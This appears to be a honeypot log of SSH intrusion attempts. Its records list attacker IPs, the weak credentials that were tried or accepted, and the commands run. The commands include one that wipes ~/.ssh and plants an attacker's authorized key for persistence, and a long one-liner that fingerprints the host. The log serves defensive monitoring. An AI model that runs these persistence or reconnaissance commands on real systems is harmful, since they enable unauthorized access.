Credential acceptance event recorded. Target authentication: git / 123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m
Record ID: d9b97be914a2
Client Version: SSH-2.0-Go
Engagement Duration: 0.7s
HASSH Fingerprint: 16443846184eafde36765c9bab2f4397
{
  "id": "d9b97be914a2",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-11T05:29:18.471623Z",
  "end_time": "2026-10-11T05:29:19.133526Z",
  "duration": "0.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "git",
    "pass": "123"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE",
    "COMMANDS RUN"
  ]
}
2.57.121.25
2026-10-11 05:16:13.180652 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / popsicle

Record ID: 6645f5f67eae
Client Version: SSH-2.0-PuTTY_Release_0.84
Engagement Duration: 6.0s
HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9
{
  "id": "6645f5f67eae",
  "src_ip": "2.57.121.25",
  "start_time": "2026-10-11T05:16:13.180652Z",
  "end_time": "2026-10-11T05:16:19.192301Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "popsicle"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
38.22.169.6
2026-10-11 05:06:35.637275 UTC
SUCCESSFUL LOGIN RECONNAISSANCE COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: git / test

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m
Record ID: 940f20abbff8
Client Version: SSH-2.0-Go
Engagement Duration: 0.7s
HASSH Fingerprint: 16443846184eafde36765c9bab2f4397
{
  "id": "940f20abbff8",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-11T05:06:35.637275Z",
  "end_time": "2026-10-11T05:06:36.297807Z",
  "duration": "0.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "git",
    "pass": "test"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE",
    "COMMANDS RUN"
  ]
}
2.57.121.112
2026-10-11 04:53:43.294940 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: indira

Record ID: 15619d61bc8f
Client Version: SSH-2.0-PuTTY_Release_0.84
Engagement Duration: 6.5s
HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9
{
  "id": "15619d61bc8f",
  "src_ip": "2.57.121.112",
  "start_time": "2026-10-11T04:53:43.294940Z",
  "end_time": "2026-10-11T04:53:49.816615Z",
  "duration": "6.5",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [
    {
      "user": "indira",
      "pass": "indira"
    },
    {
      "user": "indira",
      "pass": "indira1"
    },
    {
      "user": "indira",
      "pass": "indira123"
    },
    {
      "user": "indira",
      "pass": "indira1234"
    },
    {
      "user": "indira",
      "pass": "indira12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
153.51.233.21
2026-10-11 04:52:38.050490 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 0cc83a9392f4
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "0cc83a9392f4",
  "src_ip": "153.51.233.21",
  "start_time": "2026-10-11T04:52:38.050490Z",
  "end_time": "2026-10-11T04:52:38.053915Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
193.46.255.86
2026-10-11 04:48:56.166508 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / 0l0ctyQh243O63uD

Record ID: 96f105802f86
Client Version: SSH-2.0-PuTTY_Release_0.84
Engagement Duration: 6.0s
HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9
{
  "id": "96f105802f86",
  "src_ip": "193.46.255.86",
  "start_time": "2026-10-11T04:48:56.166508Z",
  "end_time": "2026-10-11T04:49:02.171565Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "0l0ctyQh243O63uD"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
172.236.228.218
2026-10-11 04:48:44.811064 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 42789dfc47d1
Client Version: SSH-2.0-Go
Engagement Duration: 0.4s
HASSH Fingerprint: 4e066189c3bbeec38c99b1855113733a
{
  "id": "42789dfc47d1",
  "src_ip": "172.236.228.218",
  "start_time": "2026-10-11T04:48:44.811064Z",
  "end_time": "2026-10-11T04:48:45.241783Z",
  "duration": "0.4",
  "version": "SSH-2.0-Go",
  "hassh": "4e066189c3bbeec38c99b1855113733a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
172.236.228.218
2026-10-11 04:48:44.439176 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: dc5274a889bd
Client Version: SSH-2.0-Go
Engagement Duration: 0.3s
HASSH Fingerprint: 4e066189c3bbeec38c99b1855113733a
{
  "id": "dc5274a889bd",
  "src_ip": "172.236.228.218",
  "start_time": "2026-10-11T04:48:44.439176Z",
  "end_time": "2026-10-11T04:48:44.775984Z",
  "duration": "0.3",
  "version": "SSH-2.0-Go",
  "hassh": "4e066189c3bbeec38c99b1855113733a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
172.236.228.218
2026-10-11 04:48:44.315909 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 7513e9932362
Client Version: SSH-2.0-Go
Engagement Duration: 0.1s
HASSH Fingerprint: 4e066189c3bbeec38c99b1855113733a
{
  "id": "7513e9932362",
  "src_ip": "172.236.228.218",
  "start_time": "2026-10-11T04:48:44.315909Z",
  "end_time": "2026-10-11T04:48:44.407111Z",
  "duration": "0.1",
  "version": "SSH-2.0-Go",
  "hassh": "4e066189c3bbeec38c99b1855113733a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
38.22.169.6
2026-10-11 04:44:27.573565 UTC
SUCCESSFUL LOGIN RECONNAISSANCE COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: git / 123456

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m
Record ID: cc5330852a41
Client Version: SSH-2.0-Go
Engagement Duration: 0.7s
HASSH Fingerprint: 16443846184eafde36765c9bab2f4397
{
  "id": "cc5330852a41",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-11T04:44:27.573565Z",
  "end_time": "2026-10-11T04:44:28.239524Z",
  "duration": "0.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "git",
    "pass": "123456"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE",
    "COMMANDS RUN"
  ]
}
45.79.115.134
2026-10-11 04:43:42.147239 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 1118a78d4b60
Client Version: Unknown
Engagement Duration: 1.9s
{
  "id": "1118a78d4b60",
  "src_ip": "45.79.115.134",
  "start_time": "2026-10-11T04:43:42.147239Z",
  "end_time": "2026-10-11T04:43:44.034835Z",
  "duration": "1.9",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
38.22.169.6
2026-10-11 04:22:48.736056 UTC
SUCCESSFUL LOGIN RECONNAISSANCE COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: git / password

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m
Record ID: 1d62c1d80822
Client Version: SSH-2.0-Go
Engagement Duration: 0.7s
HASSH Fingerprint: 16443846184eafde36765c9bab2f4397
{
  "id": "1d62c1d80822",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-11T04:22:48.736056Z",
  "end_time": "2026-10-11T04:22:49.400135Z",
  "duration": "0.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "git",
    "pass": "password"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE",
    "COMMANDS RUN"
  ]
}
2.57.121.25
2026-10-11 04:16:01.312794 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / q1234567890

Record ID: 3c8ee55425ff
Client Version: SSH-2.0-PuTTY_Release_0.84
Engagement Duration: 6.0s
HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9
{
  "id": "3c8ee55425ff",
  "src_ip": "2.57.121.25",
  "start_time": "2026-10-11T04:16:01.312794Z",
  "end_time": "2026-10-11T04:16:07.326116Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "q1234567890"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
176.53.159.196
2026-10-11 04:12:13.545522 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 1f6017d02f46
Client Version: SSH-2.0-Go
Engagement Duration: 1.2s
HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53
{
  "id": "1f6017d02f46",
  "src_ip": "176.53.159.196",
  "start_time": "2026-10-11T04:12:13.545522Z",
  "end_time": "2026-10-11T04:12:14.705793Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
62.60.130.253
2026-10-11 04:03:34.903798 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 12440f26e2cd
Client Version: SSH-2.0-PUTTY
Engagement Duration: 0.9s
HASSH Fingerprint: 5bd26477da5440a6187bd3f1b39a429c
{
  "id": "12440f26e2cd",
  "src_ip": "62.60.130.253",
  "start_time": "2026-10-11T04:03:34.903798Z",
  "end_time": "2026-10-11T04:03:35.851297Z",
  "duration": "0.9",
  "version": "SSH-2.0-PUTTY",
  "hassh": "5bd26477da5440a6187bd3f1b39a429c",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
104.28.214.122
2026-10-11 04:02:26.209761 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: edd

Record ID: 5c7542be4637
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1.5s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "5c7542be4637",
  "src_ip": "104.28.214.122",
  "start_time": "2026-10-11T04:02:26.209761Z",
  "end_time": "2026-10-11T04:02:27.704678Z",
  "duration": "1.5",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "edd",
      "pass": "edd"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
38.22.169.6
2026-10-11 04:01:39.806647 UTC
SUCCESSFUL LOGIN RECONNAISSANCE COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: git / git

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m
Record ID: f6ccb177f2a1
Client Version: SSH-2.0-Go
Engagement Duration: 0.7s
HASSH Fingerprint: 16443846184eafde36765c9bab2f4397
{
  "id": "f6ccb177f2a1",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-11T04:01:39.806647Z",
  "end_time": "2026-10-11T04:01:40.475088Z",
  "duration": "0.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "git",
    "pass": "git"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE",
    "COMMANDS RUN"
  ]
}
104.28.214.122
2026-10-11 04:00:50.774248 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ruby

Record ID: e83a02c7fc7d
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1.4s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "e83a02c7fc7d",
  "src_ip": "104.28.214.122",
  "start_time": "2026-10-11T04:00:50.774248Z",
  "end_time": "2026-10-11T04:00:52.224174Z",
  "duration": "1.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "ruby",
      "pass": "ruby123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
104.28.214.122
2026-10-11 03:57:24.686507 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 674a285f753d
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 0.4s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "674a285f753d",
  "src_ip": "104.28.214.122",
  "start_time": "2026-10-11T03:57:24.686507Z",
  "end_time": "2026-10-11T03:57:25.131400Z",
  "duration": "0.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
104.28.214.122
2026-10-11 03:57:15.645164 UTC
SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / ?

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Record ID: a4e8d0419f08
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 9.5s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "a4e8d0419f08",
  "src_ip": "104.28.214.122",
  "start_time": "2026-10-11T03:57:15.645164Z",
  "end_time": "2026-10-11T03:57:25.128475Z",
  "duration": "9.5",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "?"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}
104.28.246.122
2026-10-11 03:55:29.828832 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ldiaz

Record ID: 93c48b00ca31
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1.5s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "93c48b00ca31",
  "src_ip": "104.28.246.122",
  "start_time": "2026-10-11T03:55:29.828832Z",
  "end_time": "2026-10-11T03:55:31.284942Z",
  "duration": "1.5",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "ldiaz",
      "pass": "ldiaz"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
104.28.246.122
2026-10-11 03:48:25.071482 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: tristan

Record ID: 4f611db6dc3e
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1.5s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "4f611db6dc3e",
  "src_ip": "104.28.246.122",
  "start_time": "2026-10-11T03:48:25.071482Z",
  "end_time": "2026-10-11T03:48:26.526690Z",
  "duration": "1.5",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "tristan",
      "pass": "tristan"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
102.220.161.79
2026-10-11 03:47:10.297107 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: wsl

Record ID: 9661c1317e20
Client Version: SSH-2.0-libssh_0.12.0
Engagement Duration: 1.9s
HASSH Fingerprint: a591c4ddccc960a2da8099958270fc92
{
  "id": "9661c1317e20",
  "src_ip": "102.220.161.79",
  "start_time": "2026-10-11T03:47:10.297107Z",
  "end_time": "2026-10-11T03:47:12.213619Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.12.0",
  "hassh": "a591c4ddccc960a2da8099958270fc92",
  "attempts": [
    {
      "user": "wsl",
      "pass": "147258"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.139
2026-10-11 03:43:28.506750 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: nastaran

Record ID: f486e0679f09
Client Version: SSH-2.0-Go
Engagement Duration: 1.9s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "f486e0679f09",
  "src_ip": "109.160.32.139",
  "start_time": "2026-10-11T03:43:28.506750Z",
  "end_time": "2026-10-11T03:43:30.376679Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "nastaran",
      "pass": "tsserver"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
92.118.39.77
2026-10-11 03:43:26.381589 UTC
SUCCESSFUL LOGIN RECONNAISSANCE COMMANDS RUN SCORE: 200

Credential acceptance event recorded. Target authentication: root / welcome

Remote entity achieved interactive shell state. Command sequence (9 executed):

[obs-node]:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output"
[obs-node]:~$ uname -s -v -n -m 2 > /dev/null
[obs-node]:~$ /bin/uname -s -v -n -m 2 > /dev/null
[obs-node]:~$ /usr/bin/uname -s -v -n -m 2 > /dev/null
Command not found: /usr/bin/uname -s -v -n -m
[obs-node]:~$ busybox uname -s -v -n -m 2 > /dev/null
[obs-node]:~$ ( [ -f /proc/version ]
[obs-node]:~$ [ -f /proc/version ]
[obs-node]:~$ head -1 /proc/version | cut -d -f1
[obs-node]:~$ [ -f /etc/os-release ]
Record ID: a8e9e132f6b9
Client Version: SSH-2.0-Go
Engagement Duration: 2.1s
HASSH Fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5
{
  "id": "a8e9e132f6b9",
  "src_ip": "92.118.39.77",
  "start_time": "2026-10-11T03:43:26.381589Z",
  "end_time": "2026-10-11T03:43:28.436339Z",
  "duration": "2.1",
  "version": "SSH-2.0-Go",
  "hassh": "2ec37a7cc8daf20b10e1ad6221061ca5",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "welcome"
  },
  "commands": [
